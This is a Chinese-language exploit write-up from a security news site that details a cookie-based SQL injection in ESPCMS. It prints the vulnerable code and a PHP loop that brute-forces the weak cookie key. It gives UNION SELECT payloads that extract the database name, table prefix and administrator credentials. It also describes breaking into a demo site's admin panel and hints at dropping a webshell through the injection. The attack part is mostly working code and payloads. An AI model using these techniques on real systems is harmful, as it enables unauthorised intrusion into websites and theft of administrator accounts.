热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

Espcms 暴力注入

发布时间:2013-04-01 13:21文章来源:网络文章作者:Yaseng 点击次数:
摘要:发布日期:2013-02.01 发布作者:Yaseng 漏洞类型:代码执行 漏洞描述: 代码分析 先淫一手诗,开始本文. 最近看了下espcms的代码,发现了个比较有意思的注入 interface\membermain.php第33行 $ db_sql = SELECT*FROM$db_table1LEFTJOIN$db_table2ONa.userid=b...

发布日期:2013-02.01
发布作者:Yaseng

漏洞类型:代码执行

漏洞描述:

代码分析
先淫一手诗,开始本文.
最近看了下espcms的代码,发现了个比较有意思的注入

 

  1. interface\membermain.php 第 33行 
  2.  
  3. $db_sql = "SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid WHERE a.userid = $this->ec_member_username_id "
  4.  
  5. 难道是 int 注入 ,继续跟进 public\class_connector.php 第 415 行 
  6.  
  7. function member_purview($userrank = false, $url = null, $upurl = false) { 
  8. ........ 
  9. $user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode)); 
  10. list($this->ec_member_username_id, $this->ec_member_alias, $this->ec_member_integral, $this->ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info; 
  11.  
  12. ....... 
  13.  

哈哈 直接从cookie的 ecisp_member_info中取出来,不过这里有个加密函数,

  1. public\class_function.php 第179 行 
  2.  
  3. function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') { 
  4. $result = ''
  5. if ($operation == 'ENCODE') { 
  6. for ($i = 0; $i < strlen($string); $i++) { 
  7. $char = substr($string, $i, 1); 
  8. $keychar = substr($key, ($i % strlen($key)) - 1, 1); 
  9. $char = chr(ord($char) + ord($keychar)); 
  10. $result.=$char; 
  11. $result = base64_encode($result); 
  12. $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); 
  13. } elseif ($operation == 'DECODE') { 
  14. $data = str_replace(array('-', '_'), array('+', '/'), $string); 
  15. $mod4 = strlen($data) % 4; 
  16. if ($mod4) { 
  17. $data .substr('====', $mod4); 
  18. $string = base64_decode($data); 
  19. for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; }  

额 很明显 这种函数式可逆的,只需要找出key即系统中的db_pscode 继续跟进 db_pscode 生成 install\fun_center.php 第 238 行

$pscode = rand('99', '999'); $config .= "define('db_pscode', '" . md5(md5($pscode)) . "');\r\n";

好吧 随机生成 ….. 在围观下 cookies中 ecisp_member_info的生成吧 interface\member.php 第 110 行

$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]
|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));

用户id 名称 邮箱 等等信息,这些对于攻击者都是可知的,那不是可以重举99到999 的key来匹配这些信息,计算出key之后,即可以操作cookie,传入任意sql语句(具体代码见附件中)

 

  1.     for($i=99;$i 
  2. $key=md5(md5($i)); 
  3.  
  4. msg("Test $i :".$key); 
  5. $admin_ClassURL=md5("http://".$argv[1]."/"); 
  6. $real_cookie_info=eccode($temp,'DECODE',$key); 
  7. if($real_cookie_info){ 
  8.  
  9. if(strpos($real_cookie_info,$argv[2]) && strpos($real_cookie_info,$argv[3]) && strpos($real_cookie_info,$admin_ClassURL)){ 
  10.  
  11. msg("The Key Is :".$key); 
  12. break; 
  13.  
  14.  
  15.  

利用演示

例如 官方演示站 ,几百次之后得到key= 95e87f86a2ffde5110e93c2823634927

 

Espcms 暴力注入

先实验下 select user()
Member_info 的明文为

1 and 1=2 union select 1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28

Eccode 之后 (程序见附件)

Espcms 暴力注入

编辑cookies 传入注入语句

Espcms 暴力注入

刷新下会员中心 http://www.yunsec.net/index.php?ac=membermain&at=editinfo

Espcms 暴力注入

数据出来出来鸟,测试可行 查询数据库

$sql_exp=" 1 and 1=2 union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";

得到当前数据库为 espcmsdemo,查询表前缀

select table_name from information_schema.tables where table_schema=0x657370636D7364656D6F limit 1

前缀到手
查管理员用户名 密码

select concat(username,CHAR(0x7c),password) from espdemo_admin_member limit 1

得到管理员用户名|密码,解密md5 之后 杀进后台

Espcms 暴力注入

连接之 留txt 走人

附件下载

点我下载
Tips :如果找不到后台可以试试注入导出shell,爆绝对路径地址:爆绝对路径:interface/3gwap_search.php.

标签分类:

上一篇:Discuz防注入函数绕过方法分析及修复补丁
下一篇:WSS 项目管理系统的SQL 注入